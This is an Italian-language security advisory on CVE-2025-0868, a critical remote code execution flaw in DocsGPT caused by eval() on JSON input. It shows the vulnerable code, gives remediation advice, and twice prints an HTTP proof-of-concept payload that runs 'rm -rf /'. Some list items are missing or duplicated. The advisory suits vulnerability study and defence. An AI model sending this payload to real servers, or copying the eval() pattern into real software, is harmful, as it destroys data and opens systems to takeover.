
Una grave vulnerabilità di Remote Code Execution (RCE) (CVE-2025-0868) è stata divulgata il 20 febbraio 2025 nella libreria open-source DocsGPT, causata dall'uso non sicuro di eval() durante l'analisi dei payload JSON.
Dettagli chiave:
Questa vulnerabilità consente agli attaccanti di eseguire codice Python arbitrario tramite l'endpoint /api/remote. DocsGPT è uno strumento open-source di intelligenza artificiale generativa che consente di interrogare la documentazione di progetto utilizzando modelli GPT.
Vettore: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
Punteggio base: 9.3 (CRITICAL)
Metriche di sfruttabilità:
Metriche di impatto:
La vulnerabilità è presente in reddit_loader.py, dove l'input utente viene elaborato utilizzando la funzione non sicura eval():
def load_data(self, inputs):
data = eval(inputs) # Vulnerable code
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
Questo consente a un attaccante di eseguire codice Python dannoso all'interno dei campi JSON: POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
Per sfruttare questa vulnerabilità, abbiamo ricreato l'ambiente vulnerabile e uno spazio di lavoro sicuro utilizzando:
Abbiamo sviluppato uno script Python che esegue Remote Code Execution (RCE) inviando un payload dannoso all'endpoint /api/remote, sfruttando l'uso non sicuro di eval().
/api/remote./api/remote.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
Aggiornare a DocsGPT v0.12.1 e versioni successive
Sostituire eval() con json.loads().
Link:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9
| Categoria | Dettagli |
|---|
| ID CVE | CVE-2025-0868 |
| Software interessato | DocsGPT v0.8.1 – v0.12.0 |
| Tipo di vulnerabilità | Remote Code Execution (RCE) |
| Vettore di attacco | Basato sulla rete (richiesta HTTP a /api/remote) |
| Causa principale | Uso non sicuro di eval() su input JSON non attendibile |
| Impatto | Compromissione totale del server (esecuzione arbitraria di comandi) |
| Mappatura CWE | CWE-77: Neutralizzazione impropria di elementi speciali utilizzati in un comando |